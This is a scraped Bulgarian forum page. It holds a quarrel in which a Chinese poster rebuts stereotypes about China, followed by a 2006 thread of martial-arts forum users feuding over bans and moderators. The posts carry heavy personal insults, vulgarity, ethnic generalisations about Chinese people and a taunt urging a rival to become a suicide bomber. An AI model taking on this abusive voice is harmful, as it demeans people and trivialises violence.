Питам ги не им ли става тежко на стомаха от всекидневна консумация на дълбоко запържена/полусурова храна и ми казват "ние не пържим, ние само леееко запържваме, а храната не е сурова - само лееееко обработена топлинно".
Ако бяхте добра домакиня, без даже да сте сделала специализация за китайска кухня, щяхте убедите се, че това е така.
Позволявам си нахалството да ги запитам дали им е ХРУМВАЛО изобщо, че ако се хранят със затворена уста и няма да гълтат толкова въздух (съответно - газове и уригни) - отговарят ми: "най-естественият начин за хранене на човека е с отворена уста, поглъщането на въздух и образуването на газове е нормален елемент от процеса, а задържането им в тялото води до МНОГО ТЕЖКИ здравословни последствия!".
Веротно общувала със селяни и помислила сте, че всички китайци така? Къде живеете?
"Питам ги защо не спят на матраци (на меко) - отговарят като пионерчета: "да се спи на твърдо е полезно за гръбнака!"."
Дали и БЪЛГАРСКИ УЧЕНИ - ПИОНЕРЧЕТА, щом като НА БЪЛГАРСКИ НАПИСАЛИ СЪЩОТО, ОСВЕДОМЕТЕ СЕ:
Фитнес - Болки в гърбаЗа да не допуснете увреждания на гръбнака, спете на твърдо легло, то може да ви помогне и да коригирате гръбначни изкривявания, получени в ранна възраст. ...
fitnes-bg.com/content/view/45/40/ - 26k - Кеширана - Подобни страници
Медикал БГ :: Вашият медицински портал :: Вашето здравеТвърдото легло не изкривява гръбнака ... на гръбначните изкривявания налага децата да спят на твърдо легло и да носят учебниците си в ранички на гръб. ...
medicalbg.com/zdrave/blank_php.php?id_ oblast=3&id_podoblast=0&id_tem=0&id=394 - 42k - Кеширана - Подобни страници
Питам ги защо си монтират в домовете вградено осветление на килограм, а стоят кат кокошките на тъмно и със спуснати пердета, докат слънцето залезе - викат, "ми щот се кефим да си имаме много много много лампички вкъщи, ама токът много скъп, пък и смесеното осветление вредно за очите!".
ЛЪЖА ДО ЛЪЖА! ЛЪЖА ДО ЛЪЖА! Сама живеете в Китай и знаете, че со 100 до най-вече 150 РМБ (което се равняет на 10 или 15 евро) може платим ТОК плюс ВОДА плюс ГАЗОВОЕ СЪОРЪЖЕНИЯ плюс ТАКСА ОХРАНА, ТАКСА ВХОД, ТАКСА ЛИФТ и ТАКСА ПОЧИСТКА. ЗАЩО ЛЪЖЕ?
НАй-беден работник в Китай взема по крайна мярка 800 РМБ, ако и жената му е беден работник те вземат поне 1600 РМБ. Това значи, че ток, вода, газовое съоръжение, охраники, вход, лифт и почистка составляват ПОД 10% от тяхна зарплата. МОЖЕ В БЪЛГАРИЯ ПОХВАЛИ СЕ С ТОВА ИЛИ ИЗКЛЮЧИЛИ ПАРНО?
Виж, защо НЯМАТ книги (библиотеки) вкъщи не съм ги питала...
ИМАТ КНИГИ, НО В КИТАЙ ХОРА ЧЕСТО ПАЗЯТ КНИГИ В ШКАФИ И ЧЕКМЕДЖЕТИ. МОЖЕЛО ПОПИТА на место пише глупивости като : "ама сигурно ще кажат, че звуковата техника за караоке е по-важна от литературата, пък и не товари очите."
И най-нелепата изцепка от всички, които са ми чували ушите от китаец - на въпроса защо почти не виждам бебета (непроходили деца, разбирай) по улици и по градинки, млада дама ми рецитира като от букварче: "Децата до 1-год. възраст трябва да се пазят от слънце и да не се извеждат навън, защото слънцето ще ги ПОВРЕДИ ЗА ЦЯЛ ЖИВОТ." (поясни ми, че ще почернеят, сиреч - погрознеят) Ей тогаз, вярвай, адски сериозно се замислих... наистина ли са чак такива будали или... нас ни вземат за такива...?...
________________________НИКОЙ НЕ ВИ ВЗЕМА ВИЕ СТЕ, АКО НЕ ЗНАЕТЕ ТОВА, КОЕТО ДАЖЕ ПИШАТ В БЪЛГАРСКА МЕДИЯ , ЧЕ ЗА РАЗВИТИЕ НА МЕЛАНОМ (РАК КОЖИ) ИМА ЗНАЧЕНИЕ ПРЕКОМЕРНОЕ ОБЛУЧВАНЕ СЪС СОЛНЦЕ ПРЕЗ РАННИ ДЕТСКИ ГОДИНИ! ВИЕ СИГУРНО НЕ ЛЕКАР, НО НЕ ТРЯБВА ЛЕКАР, ЗА ДА ЗНАЕ ПРОСТИ ИСТИНИ ЗА ОТГЛЕЖДАНЕ НА БЕБЕ, АКО ИСКА НЕ УМРЕ В СРЕДНА ВЪЗРАСТ.
"Щото на мен ми напомня на материали от учебниците за времето, когато хомо сапиенсът е изобретил най-сетне сечива, с които да си стегне колиба и да не мръзне повече в пещерата, но на етап, в който си е припирал кожите поне веднъж годишно и се е хранел, навярно, вече не със ръце."
За Родопско село ли говорите или за нас?
На 1 поглед ми изглежда, че 1) китайците си живеят по най-лесния и най-прост възможен начин, буквално като деца (несдържайки пръдни и шумове при хранене, киризейки като малоумници всичко и навсякъде, което им се стори интересно, и пр.)
ТОВА СА ПАК ЛЪЖИ И ПРЕДРАЗСУДКИ. СЪЩАТА ОБИДА Я ЧЕТОХМЕ И ЗА АМЕРИКАНЦИ В САЩ.
"Това, което отличава европейските култури от китайската, е свързано с ред нарочно култивирани общоприети норми като финес, изтънченост, грация, маниерност, етикеция и др., докато тук тези неща се проявяват само по порцелановите вази из музеите."
ТОВА ПАК ЛЪЖА. НИЕ ДАЖЕ ДА ПИЕМ ЧАЙ ИМАМЕ СПЕЦИАЛНА ЧАЙНА ЦЕРЕМОНИЯ. ДА НЯМА НУЖДА ДА ДАВАМ ДРУГИ ПРИМЕРИ ЗА МАЛКО ПО_ИНТЕЛИГЕНТНИЕ ХОРА ТУК Е ЯСНО, КОЛКО СТЕ ЛЪЖЕЛА!
Относно, че китайските бизнесмени се обличали по-лошо от западни и корейски може и да сте права в повече случаи. Но си имаме много хора в Китай някои са едни, други са други. Малко приличате на Западни хора, които слагат снимка на роми и казват : "Такива все българи." Ето, примерно аз мога покаже снимка на китайски бизнесмен, коjто вчесан и вързан и къпан:
(http://www.engr.sjsu.edu/gti/gallery/Business/lenovo/images/3.%20%20Lenovo%20Tour.jpg)
Според мен да не си чистиш къщата (нищо друго, освен подовете), да готвиш в ръждясали съдове и кухнята ти да мяза на неизмит отвътре фритюрник (с отпечатъци от мазни пръсти и пръски/струйки навсякъде по стените) е белег за умствена немощ - за тях не е, това си е нормална част от бита.
ЛЪЖЕТЕ БЕССРАМНО! ХОРА, КОИТО ГОСТУВАЛИ НА КИТАЙЦИ ЗНАЯТ КОЛКО ГОЛЯМА БЕССРАМНА ЛЪЖА ТОВА!
"какво да се прави, като много отдавна сме излезли от колибите/панелките и вече не ядем необработени меса по наште заблудени земи...
МОЛЯ ВИ СЕ! БЪЛГАРИ ДНЕС ПОЧТИ КАТО КИТАЙЦИ НЯМАТ ВЪЗМОЖНОСТ КУПИ НЕПАНЕЛЕН ДОМ, НЕ ПРЕУВЕЛИЧАВАЙТЕ, МОЛЯ. СМЕТЕТЕ КОЛКО СТРУВА КВАДРАТ НА МЕТЪР ВО ВАРНА ИЛИ СОФИЯ, ПОСЛЕ МАТЕМАТИЧЕСКИ НАПРАВЕТЕ СБОР КОЛКО СРЕДНИ РАБОТНИ ЗАПЛАТИ ТОВА В БЪЛГАРИЯ. РУСИЯ ДАЖЕ ПО-ДОБРЕ ОТ ВАС ВЕЧЕ!
В заключение ще си позволя да тегля една на културната толерантност и ще кажа, че на нас ще ни е далеч по-ЛЕСНО да слезем на тяхното ниво, докато на тях ще им е определено много ТРУДНО да се издигнат до нашето.
СОГЛАСНА! НА ВАС ПО-ЛЕСНО ДА СПРЕТЕ ДА ПУШИТЕ НАРКОТИК, ДА СЕ БИЕТЕ ПО ДИСКОТЕКИ И ДА ПОДЧИНЯВА СЕ НА НАТО, ОТКОЛКОТО НИЕ ДА ПУСНЕМ ЧУЖДИ ВОЙСКИ НА НАША ТЕРИТОРИЯ, ДА НАРКОМАНИМ СЕ И ДА ПРАВИМ ДРУГИ НЕЩА, КОИТО НИ "ИЗИДГАТ" НА ВАШЕ НИВО! СОГЛАСНА ВПОЛНОСТЮ!
:) ;) :) ;)
________
Сагласна съм, че никой не ме обвинява. Всички са толкова приятелски кам мен. То е очевидно.
Сагласна съм и, че всеки има право на гледната точка, но две дами тук лъжат, изопачават правдата за нещата. Аз дойдох като коректор на правда. Вие как мисли, когато хора на Запад показва снимка на ромин и казва - всички българи черни и изглежда така? Веднага казва, не българи не роми, българи - бели, имат азбука и така натам, нали? това е Ваш морален и историчен дълг, ако може така каже.
Дали целят сравнения или не - техен подход и метод на диалог. Аз не против сравнения. Аз против лъжи и прибарзани заключения злепоставящи Китай. Ние има проблеми, ние още развиваща се страна, ние не постигнали върха, но ние не толкова идиоти колкото показват изнежени дами без опит в КНР.
______
Времето е наше
Държа се по правилата. А Вие се откалянте от топик постоянно. Няма попадна във Ваш капан пише за България в тема "Защо не ме кефи в Китай?" Мога пиша, само, ако Вие попита, тогава ще е линк на Ваша реплика. Не мислете ме за проста. КОНКРЕТЕН ВЪПРОС, МОЛЯ!
Аз пиша като нормален човек. Не се опитвайте засегнете ме по този наивен начин. А и не искам приемате ме за българка. Аз съм КИТАЙКА и се гордея с това. АКО ВИЕ ПИШЕ В КИТАЙСКИ ФОРУМ ИСКАТЕ ВАС ПРИЕМАТ ЗА КИТАЕЦ ИЛИ ЗА БЪЛГАРИН?
Ако се оплаква, че не разбирам добре, ползвайте английски език на лична поща и тогава можете убеден, че разбрала въпрос.
Не разбирам как аз извинява се на мои съотечественици? Вие трябва извините се, защото казва, че китайски народ пърди, уругва се, глуп, мръсен, няма открития, гони смирени християни купища лъжи и инсинюации!
И ЗАЩО СТЕ МЕ ЛИШИЛИ ОТ ПРАВО НА ОТГОВОРА В ТЕМАТА КИТАЙ/АНГЛИЯ? ТАКА ЛИ ДОКАЗВАТЕ ПРАВДАТА СИ?"
-
От 2006 за бойни изкуства и прочее. Редовните загуби-време спорове...
"Акаунтът Ви е временно преустановен. Ограничението важи до 03.03.2019, 16:10."
Когато някой админ/модератор се страхува от показване на истината. ;D
Нет Инфо Гювеч АБВ
форуми картички GSM чат АБВICQ клуб АБВ АБВ+
Интернет
Гювеч.бг
Нет Инфо новини
Знам.бг
Интернет
Гювеч.бг
Нет Инфо новини
Знам.бг
Интернет
Гювеч.бг
Нет Инфо новини
Знам.бг
Интернет
Гювеч.бг
Нет Инфо новини
Знам.бг
ЕнциклопедииБиблиотекаЗа ученикаЗа най-малките
Форуми | FAQ | Профил | Лични съобщения | Проверка за лични | Търсене | Изход lat / кир
предишна тема | Всички теми | следваща тема | плосък режим дървовиден режим |
Anonymous
Mon Jan 16 23:48:19 2006
За Даобг....
--------------------------------------------------------------------------------
....голяма излагация е този сайт, едно съобщение не може да пусне човек, затези които ги интересува - семинари по YIQUAN в Полша и Унгария и безплатна книга за downloadване:
yiquan.com.pl/zapowiedzi/winter2006.html
yiquan.com.pl/engstart.html
yiquan.hu/eng/
Anonymous
Tue Jan 17 04:53:01 2006
Отг: За Даобг....
--------------------------------------------------------------------------------
взимам си думите назад за Даобгто, публикували са ми обявата за YIQUAN, явно им е трибвало повече време, ТЕЧНИКА....
yiquan.com
共产
Fri Feb 3 02:30:05 2006
Прав си!
--------------------------------------------------------------------------------
Страхуват се от истината там и правят голяма цедка на новите потребители. Има доста баннати, които не споделят малоумните идеи на голяма част от модераторите там, та това е още един допълнителен момент в страха им да не се появи някой да каже нещо, на което няма как да отговорят( поради ограничен интелект) освен с триене, банове и пр.
За разлика от ДАО.БГ в АБВ.БГ можеш доста по бързо да си кажеш мнението и много рядко ще те изтрият, да не говорим за банове.
На няколко пъти съм ги критикувал публично тук и в друг форум, можеш да видиш стари теми не могат с нищо да ми опонират, освен с някоя уйдурма( че съм правил фалшиви акаунти, че съм си бил сменил пола и пр. шизофрении) или с анонимни псувни, създаващи проблеми на Боло при заличаването им.
Ами това е положението. По-добре не се занимавай с тях, доста от качествено-пишещите там ги напуснаха отдавна, други бяха баннати, трети взеха да пишат все по-рядко.
В момента интелигентни хора, които все още имат търпението и волята да пишат там са Историк, Доктора, Асен Г и няколко момичета. Останалото е въдух под налягане и комплексарщина. (Ако съм пропуснал някой "мозък" от там- да ми се обади).
Поздрави и успешен ден!
виртуална
Thu Mar 2 13:29:26 2006
Отг: Прав си!
--------------------------------------------------------------------------------
Но пък за сметка на това форумът е доста пълен с полезна информация, която можеш да извлечеш и без да пишеш;)
Love me for my mind, not my body...
But play with my body, not my mind!
共产
Mon Mar 6 22:33:03 2006
Отг: Прав си!
--------------------------------------------------------------------------------
Иам полезна информация, понеже на времето аз пишех там и отделно днес все още има няколко човека като Историк и Доктора (Известният Дориян Алесандров), които пишат свестни неща. Ама я вземи да четеш Зоро или Добруджански, дето прокламират зоофилия, примерно и ще видиш колко "полезен" е този сайт за подрастващите!
виртуална
Tue Mar 7 00:04:04 2006
Отг: Прав си!
--------------------------------------------------------------------------------
Е колко.. нима в повечето форуми липсват спамерите?! Какво би бил един форум без такива образи. Но това пък доказва само, че драконовските мерки които са взели, далеч не помагат.
btw. едно от правилата им е мненията на новите потребители да се преглеждат от модератори и едно мое така беше преместено в съвсем друга тема и в контекста и излезе, че позицията ми е доста различна от фактическата. Ма карай. Все пак - виртуал;)
Cury
Tue Mar 7 10:44:48 2006
Отг: Прав си!
--------------------------------------------------------------------------------
Стига де, и ти пишеше откровени глупости. Освен това имаше свойството да провокираш заяждания и в резултат и умерени хора надминаваха мярката в споровете с теб.
MEMENTO MORI
共产
Fri Mar 10 18:13:47 2006
Къри, да не кажеш след малко, че пак не ти се спори с мене?
--------------------------------------------------------------------------------
Пускаш някакви необосновани изказвания, след което бягаш!
Ето сега повдигаш въпрос, който се надявам да разнищим ДОСТОЙНО с тебе, а не за 3-ти път да ми бягаш! ОК?
Посочи ми някоя "ОТКРОВЕНА ГЛУПОСТ", която съм писал там.
КАКВИ ЗАЯЖДАНИЯ АЗ СЪМ ПРОВОКИРАЛ? Посочи поне един пример!
Да ти напомням ли какво пишеха там?
- Стихове със зоофилия.
- Заплахи
- Обиди
____________________________
Кои са т. нар. "умерени хора", които са се заяждали с мене?
ЗАЩО ДНЕС САМО ЕДИН БЕРСЕК КРИВО-ЛЯВО се осмелява да застане в спор с мене, а другите подобно на тебе се крият ( знаеш какво стана с Оня и Олд Мун), нали?
__________________________________
Хайде сега да те видя!
共产
Fri Mar 10 18:19:42 2006
Отг: Прав си!
--------------------------------------------------------------------------------
Не става дума за спамери, а за хора, които обосновано дискутираха. Например ГАЛЬО ! Изключително умно момче, което поставяше на място всякакви недоучили образи там, надарени временно или постоянно с модераторски права. Триеха го, банваха го , какво ли не, за да се , както той рече, СЪЗДАДЕ ВПЕЧАТЛЕНИЕТО, ЧЕ НЕ Е МОГЪЛ ДА ОТГОВОРИ!
Ами ДОКТОРА? Колко постове му се затриха?
Ами какво ше кажеш за моя милост - ТАТАР ?
____________
Драконовксите мерки са взети, за да няма хора, които да им показват кусурите и да ги карат да се чувстват некомфортно.
Примерно ОНЯ твърдеше, че японците трябвало да се откажат да пускат хора на ПРАЙДА, а, когато там се появиха японски имена и победи всеки трябваше да се прави, че е забравил за неговите изказвания.
__________________
За преглеждането от модераторите. Ами, че те тези модератори там , с няколко изключения, са събрани от кол и въже и въобще не могат да преценяват кое какво е! НЕ МЕ УЧУДВА, ЧЕ НЕ СА ТИ РАЗБРАЛИ СМИСЪЛА И, ЧЕ СА ИЗКРИВИЛИ КОНТЕКСТУАЛНО НЕЩАТА!
И не ВИРТУАЛ, а просто "Виртуален абсурд!"
共产
Sat Mar 11 22:37:32 2006
И Зоро...
--------------------------------------------------------------------------------
Да допълним, че там се подвизава един нездрав човек - ЗОРО. Позволил си е да каже "майната Ви" на мене, на другият татарин и на Доктора, понеже сме пишели невъзпитателни за децата исторически тези.
За Докторът и колегата - не отговарям, но АЗ СЪМ ПОСЛЕДОВАТЕЛ НА АКАДЕМИЧНИЯТ ИСТОРИЗЪМ И НА НАУЧНИТЕ ПОЛОЖЕНИЯ В ИСТОРИЯТА, така че, ако този недоучил и откровено примитивен човек - ЗОРО, желае да се появи тук, може да обсъдим грешките и отклоненията му.
Cury
Sun Mar 12 12:05:25 2006
Отг: Къри, да не кажеш след малко, че пак не ти се спори с мене?
--------------------------------------------------------------------------------
Няма да се хвана да споря с теб. Само напомням. Но вдиганетона баба ти например си беше бисер:)
MEMENTO MORI
共产
Sun Mar 12 20:46:54 2006
НЕ
--------------------------------------------------------------------------------
ВАДИ НЕЩАТА ИЗВЪН КОНТЕКСТА ИМ !
Като ще цитираш - цитирай ОТ НАЧАЛО ДО КРАЙ !
И, да ти припомня, че ЦЯЛОСТНАТА МИ ТЕЗА БЕШЕ, че не е нужен бодибилдинг и харчове за изграждане на добро тяло.
ТОЧНО СЛЕД ОКОЛО ГОДИНА СЪЩАТА ТЕЗА ВЗЕХТЕ ДА ЗАЩИТАВАТЕ И ВИЕ, КОИТО ПОДКРЕПЯТЕ РУСНАКА ОТ ПРАЙДА, КОЙТО ТРЕНИРАЛ САМО С ЛОСТОВЕ И ЛИЦЕВИ ОПОРИ ( Фьодор ли беше?).
Така, че БАВНОЗАГРЯВАЩИТЕ , добре дошли в клуба !!!
С Оня се получи същата работа - викаше, че японците трябвало да се откажат от идеята да пращат бойци на ПРАЙДА и какво стана като все повече японски имена се появиха там и дори взеха да побеждават? Добър повод за триене на постове, банове и пр.
Ти с какъв ник си там, за да прегледам какво си спорил с мене и да го пусна като теми тук, за да ти покажа КОЛКО МНОГО БЪРКАШ? Да не си "Боби" дето го правех да си говори сам? Ама не ми се вярва, без да хвърлям комплименти си доста над нивото там, та ми е чудно дали въобще си регнат или си просто читател, който си прави майтапи с мене.
Cury
Mon Mar 13 09:39:34 2006
Отг: НЕ
--------------------------------------------------------------------------------
Бях от най-активните по едно време, но вече не пиша от година или повече. Омръзна ми, не тренирам... С годините придобих опит и нови възгледи, които ми стигат за душевно равновесие и не ми се спори. Не съм Боби. Кой съм няма значение.
MEMENTO MORI
共产
Mon Mar 13 16:15:56 2006
Отг: НЕ
--------------------------------------------------------------------------------
Значи приемаме, че аз глупости не съм говорил. В интерес на истината някои постинги ги писах с цел да въздействам върху едно гадже, което беше решило, че треньорът му е по-готин от мен (ефектът се получи - след отва се върна при мене), но, общо взето, съм гледал да изхождам от образованието си на философ. По това време повечето там нямаха образование (гледам напоследък се пообразоваха, поне на китап, ако не на друго) и просто разликата в мисленето, инструментариума и пр. беше очевидна, няма какво да се лъжем.
За тренировките - тренира се за здраве, при положение, че не искаш да ставаш републикански, европейски и пр., т. е. , ако не си състезател. Останалото са илюзии. Ако щеш да си Джет Ли, в България, ти изскачат 2-ма души с пистолети или автомати (ако са по-интелигентни и способни - направо с бомби) и си дотам.
Даже и да са льохмани се събират 20 човека с вериги, боксове и бухалки и пак ти виждат сметката. Така че заниманието с БИ в БГ, извън сметките за хармония и здраве не е начин да се самозащитиш, а просто да изкараш прехраната на някой треньор! Това е писано около разгара на т. нар. "Мутренското време", та затова иронизирам с "интелигентни и способни". Който прави насилие - от побой, до убийства, не е интелигентен, защото, обикновено го застига и него. Повечето в историята - от дребни мафиоти, до агресивни държавни глави, не са свършвали по добър начин. Затова всеки, който иска да добрува, да има предвид да стои далеч от всякакво насилие и да не предприема такова!
А колкото до бойните изкуства - вършат работа и за самозащита, но наистина, само ако няма фактори като оръжия, голямо превъзходство и пр. Аз си ги тренирам и до днес. По-добре да тренираш, отколкото да не тренираш. Поне за здраве, както и съм писал преди много, много години. :)
Anonymous
Mon Mar 27 22:28:26 2006
Отг: НЕ
--------------------------------------------------------------------------------
Това с гаджето не е много философско, всъщност си е детско, ама от теб само това. Стига си се надувал, защото комплексите ти започнаха да си личат чак от Китай и с псевдокултурното си и "възвишено" поведение стана смешен и неприятен. Затова те изгониха от ДАО-то, защото и там, както и тук, има само "аз съм образован", "аз съм по-умен", "аз пиша стойностни мнения". Всичките ти мнения са или простотии(плод на мечтите ти и нулевият практически опит), или лизане на задника на Доктора(на когото поне му стиска да застане зад думите тук, в България). А за образованието може да се консултираш малко повече, повечето от твоите "врагове" са с висше образование, някои от нас са с по две дори, ако това ти е мярата за интелигентност, а твоята специалност явно е да философстваш и да празнословиш.
В заключение - дръж се малко като мъж, престани да хленчиш като пеленаче и да знаеш, че не липсваш на никой(аз съм единственият, който помоли Жоро да те върне, тъй де, майтап да стане малко).
Anonymous
Mon Mar 27 22:33:11 2006
Отг: НЕ
--------------------------------------------------------------------------------
Добруджански съм, да не се чудиш кой ти прекъсва самосъжалението...
Anonymous
Mon Mar 27 23:29:47 2006
Отг: Къри, да не кажеш след малко, че пак не ти се спори с мене?
--------------------------------------------------------------------------------
Еее,ма само ти ли ше се забавляваш?
Я,я кажи кво е станало с Оня симпатяга с пурата(трее си четкаме нарцисизма :D )?
Ако не си разбрал,тва съм аз.
bat_lamboo
Tue Mar 28 04:56:16 2006
глупостиии
--------------------------------------------------------------------------------
много хубав сайт си е ДАОБГ-то. просто има обикновени правила и простаците не го харесват, така се получава често.
中共
Tue Mar 28 13:25:58 2006
Някои истини за теб, Анонимен! редактиране |
--------------------------------------------------------------------------------
Здравей, Анонимко!
"Това с гаджето не е много философско, всъщност си е детско"
Сериозно ли? Според философската антропология, както и конкретни направления във философията, като например Екзистенциализма на това се обръща сериозно внимание. Иначе аз вече съм женен човек, за разлика от повечето от вас там, та гаджето е минала тема.
", ама от теб само това. "
Определено не е само това. Може да се обзаложим.
"Стига си се надувал, защото комплексите ти започнаха да си личат чак от Китай"
Това, че проецираш собствени комплекси върху мен говори само за твоята същност. Иначе за Китай - разбирам те, че завиждаш, но се надявам да е благородна завист.
"и с псевдокултурното си и "възвишено" поведение стана смешен и неприятен."
Културата е феномен, който точно ти едва ли можеш да оцениш, интерпретираш и корелираш спрямо моите прояви.
"Затова те изгониха от ДАО-то, защото и там, както и тук, има само "аз съм образован", "аз съм по-умен", "аз пиша стойностни мнения"."
Не е затова. Не си навътре с нещата. Имаше много причини:
-Примерно показах на ОНЯ, че японците имат място в ПРАЙДА, както и, че японският е АЛтайски език. ТОй не можа да понесе да не е прав.
-Редовно опонирах успешно на Гришата, който достигаше на времена до словестно безсилие и проявяваше агресия - "Трябваше да те ошамаря като те видях!" , "Дано да се видим, за да ти бия шамараи и кимбали за унижение" и пр.
-Доста хора не харесват това, че поддържам голяма част от мненията на неповторимият Дориян Александров.
Сега схвана ли основите на заблудата си, Анонимко?
"Всичките ти мнения са или простотии(плод на мечтите ти и нулевият практически опит)"
Определено се силиш да биеш рекорда на Берсек по безсмислие в един постинг!
Как пък разбра, че нямам практически опит?!
И кой си ти, че ще оцениш думите на магистър по философия като "простотии"?
", или лизане на задника на Доктора(на когото поне му стиска да застане зад думите тук, в България)."
ХАЙДЕ, ХАЙДЕ! :)
1. Стоях в БГ достатъчно, който е искал е щял да ме намери - не съм се крил!
2. Докторът е ГЕНИЙ в някои отношения, затова не бива да ми приписваш любимите си действия нощем, между мен и Доктора.
3. Нали онзи недорасляк - ЗОРО твърди, че Докторът бягал от двубой с него? Как сега пък взехте да пишете обратното? Явно лъжете доста и не си координирате лъжите.
"А за образованието може да се консултираш малко повече, повечето от твоите "врагове" са с висше образование"
Да, в последно време някои от вас завършиха някои много интелигентни образования като ИКОНОМИКА В СВИЩОВ ;)
", някои от нас са с по две дори, ако това ти е мярата за интелигентност"
Я посочи някой с 2 по ник-нейм и после ще видим. Нямам нищо против РЕАЛНО-ИНТЕЛИГЕНТНИ УЧАСТНИЦИ като Историк, там, макар да остава тайна как понасят ниският ви койефициент на интелигентност.
"а твоята специалност явно е да философстваш и да празнословиш."
Явно не си учил за диалектиката на същността и явлението. Твоите видимости даже не достигат до явление, а да не говорим за същност поне от 1-ви порядък!
Ако искаш да видиш конкретна полза от разсъждението -постави тема, а не се занимавай да лижеш задника на админа, че да заблуждаваш хората. То си личи с многобраойните забрани и неквалифицираните модератори какво е нивото на ДАОТО!
"В заключение - дръж се малко като мъж, престани да хленчиш като пеленаче и да знаеш, че не липсваш на никой(аз съм единственият, който помоли Жоро да те върне, тъй де, майтап да стане малко)."
ЕЕЕЕЕ, това че на тебе ти се причуват хленчове може да говори само, че имаш някакъв вид слухови халюцинации, другарче! А това дали липсвам или не на някой няма голямо значение, понеже повечето сте нестойностни там, а с по-стойностните си поддържам контакти по различни начини.
За Жоро и, че си се молил - моли се. А майтап - наистина става там.
Както е казал един от умните там - ГАЛЬО:
"Някой пише глупост, аз отговарям, след това забърсват отговора, за да се създаде впечатлението, че съм останал безмълвен!" Ами плоска тактика за майтапи. Но, все пак, така правят безсилните.
Или пък банването с аргумента : "Системно отклонение от темите". През цялото време се наблюдават някакви тъпи чатове по темите, същински спам, ама за тях няма бан!
И последно - голям майтап. ОНЯ ми прасва -10% и казва - "Ето ти малко и от мене!", а запитан за мотивация казва - "Абе я си е.. м@йката!"
Такова е нивото, Анонимчо!
"
中共
Tue Mar 28 13:31:11 2006
О, Добрудански, редактиране |
--------------------------------------------------------------------------------
добре, че си се представил!
ЗНам те - ти си един от пропагандиращите зоофилията в темата поезия, която аз ви направих, а вие се изгаврихте! Ще ти го кажа и на тебе в прав текст - НЕ Е ВЪЗПИТАТЕЛНО ЗА МЛАДИТЕ, КОИТО ВИ ЧЕТАТ!
И сравни моята поезия с рапо-производните ви рими! Ами личи си колко сте зле. Нито форма, нито съдържание.
И като си толкова отворен на поезия - защо не дойдеш тука, да се регнеш и да се стреляме с поезия, както и с конструктивни диалози? Имам усещането, че ти ще си поредният, който ще избяга от диалога с мен.
ОНЯ избяга
ЖОРО избяга
БЕРСЕК се отказа
КЪРИ се отказа
Е?
中共
Tue Mar 28 13:39:35 2006
Отг: глупостиии редактиране |
--------------------------------------------------------------------------------
По принцип простаците харесват простащини и би трябвало да им харесва ;)
На мене не ми харесва. Искаш ли да ти дам примери за простащини там? Ще видиш, че няма никакво прецизно модериране.
ЕТО ТИ НА НЕДОРАСЛЯКА ЗОРО:
" 07.03.2006, 09:51 Мнение #532
Група Дао
Мнения 882
Регистрация: 11.09.02
От: Варна
Потребител No.: 74
Пол: мъжки
БИ: Муайтай , Сан Шу , Кик-бокс , Бокс
Аве майната ви на всички Татари , Доктори и не знам к'ви си прееб@ни ханове
"
Този, примерно, що не го трият, банват и модерират, като цяло? Ами щото е вътрешен. А да знаеш пък Добруджански колко глупости е написал!... Нямат чет!
中共
Tue Mar 28 13:51:02 2006
Забегналият се завърнал? редактиране |
--------------------------------------------------------------------------------
Иво, преди като те познах и зачезна. Сега си се появил, но отново не поставяш конкретна тема, а говориш с Добруджанкото за нарцисизми...
Хайде дай да поспорим за нещо или да се подготвя за псувните ти?
Вземи се регистрирай и ти, че да не търся само кой е с Осакско АЙПИ.
Апропо - нещо са се влошили отношенията с Япония, заради оня ръб - Джуничиро Коидзуми. Не те ли е страх, че ще стане някоя война? А и Севрна Корея викат, че можело да ви бомбнат с ядрена бомбичка? Страшно ли е или ти от препиване не знаеш на кой свят си, пък аз съм взел за геополитики да ти говоря?
И още - какво стана? Дянков кога ще идва в Япония да ти поизвие вратлето? Или се отказахте???
Давай да правим дискусията, като ти е толкова забавно.
Anonymous
Tue Mar 28 14:36:12 2006
Отг: Някои истини за теб, Анонимен!
--------------------------------------------------------------------------------
Първо ш са извиня на Болой-ако не ти харесва нещо в поста ми,трий без да се притесняваш!
Второ,ш са извиня на сички за експлисит лирикс-ми прост съм,не кът Гесеро!
Гесере,шм..ко,пак са праиш на съблазнен и изоставен!Не само Гришата,аз да та видя и аз само с комбали и плюнки ш та бия!Що?Щото с тебе други форми на контактуване са безсмислени...
Интелектуалните бълнувания моеш си ги ... забраиш,щото си влязъл в сайт за БИ и в такъв сайт се говори за БИ,а не за история,поезия и др...за тва са създадени други сайтове,ма не са знай дали ше те търпят там...Ти нямаш никъв опит в БИ и упорито си решил да просвещаваш състезатели и шампиони по всякви БИ с изцепки от филмите на Джет Ли,те за тва те игнорират,не че е на лична основа...Повечето от интелектуалците дет си ги посочил и те нямат никъв опит в БИ и основно постовете им са свързани с източните езици,култури,кулинарии и сичко друго.За тея работи също си има други форуми и те най-вероятно пишат там,а кът съ заинтересуват за нещо свързано с БИ,влизат в даобг и питат...Мноо ясно,че хората събрани на ено място ше искат и за други работи да си лафят,затва са Общите приказки,ма е недопустимо 90% от мненията на юзър в форум за БИ да нямат никва връзка с БИ!
Дневниците бяха създадени с цел да се намали спама и даде ефект...
Чата в даобг е създаден с цел да се намали спама и даде ефект...
Контрола беше въведен,шот такива кът тебе зеха да си мислят че моат да влизат кът у дома си и да са цепят по секви въпроси и да са обясняват за права и свободи,кът забраят ква е идеята на сайта и за кво трее са говори основно там!Тва също даде ефект!
Ся,знам че уничтожението на даобг ти е фикс идея,та следващия път вместо да ръгаш 15 женски ника и да са обяснааш в либоф на мене,Гришата,Жоро и сичките други знайни и незнайни обекти на мечтите ти,земи сложи един колан динамит на кръстя,фащаш жиците и са буаш у сървъро с вика:Алла у акбар!
от твойта голема либоф Оня
ПП.Човекот си е написАл името,ни съ пръй на луд!
Anonymous
Tue Mar 28 14:53:41 2006
Отг: Забегналият се завърнал?
--------------------------------------------------------------------------------
:D
Ба,тва яроста на Гесера не познава скоростни граници-га успе да надращиш 5 поста ве?
Ся,язе не сум бегал в Япония да се пишем японец!Тва външна политика и други ръбове са ми през ...я!
Дошъл съм пари да прая,да тренирам и да пия(и трите по много!!!).Дъл ши падни некой метеорит утре и ши мъ изчигъртъ от планетата...неам време да са депресирам по подобни въпроси...
Дянков го чекаме от миналата година кът Царя Освободител да доди да ми скини гръбнака и да побий байрака!Гесере,ни съ ври дет никой ни тъ и викал!Нъл наиш ко стаа кът са вреш между два ...я?И двата ги идеш после...
Аре със здраве от твойта голема либоф бай Оня
Anonymous
Tue Mar 28 18:41:17 2006
Отг: За Даобг....
--------------------------------------------------------------------------------
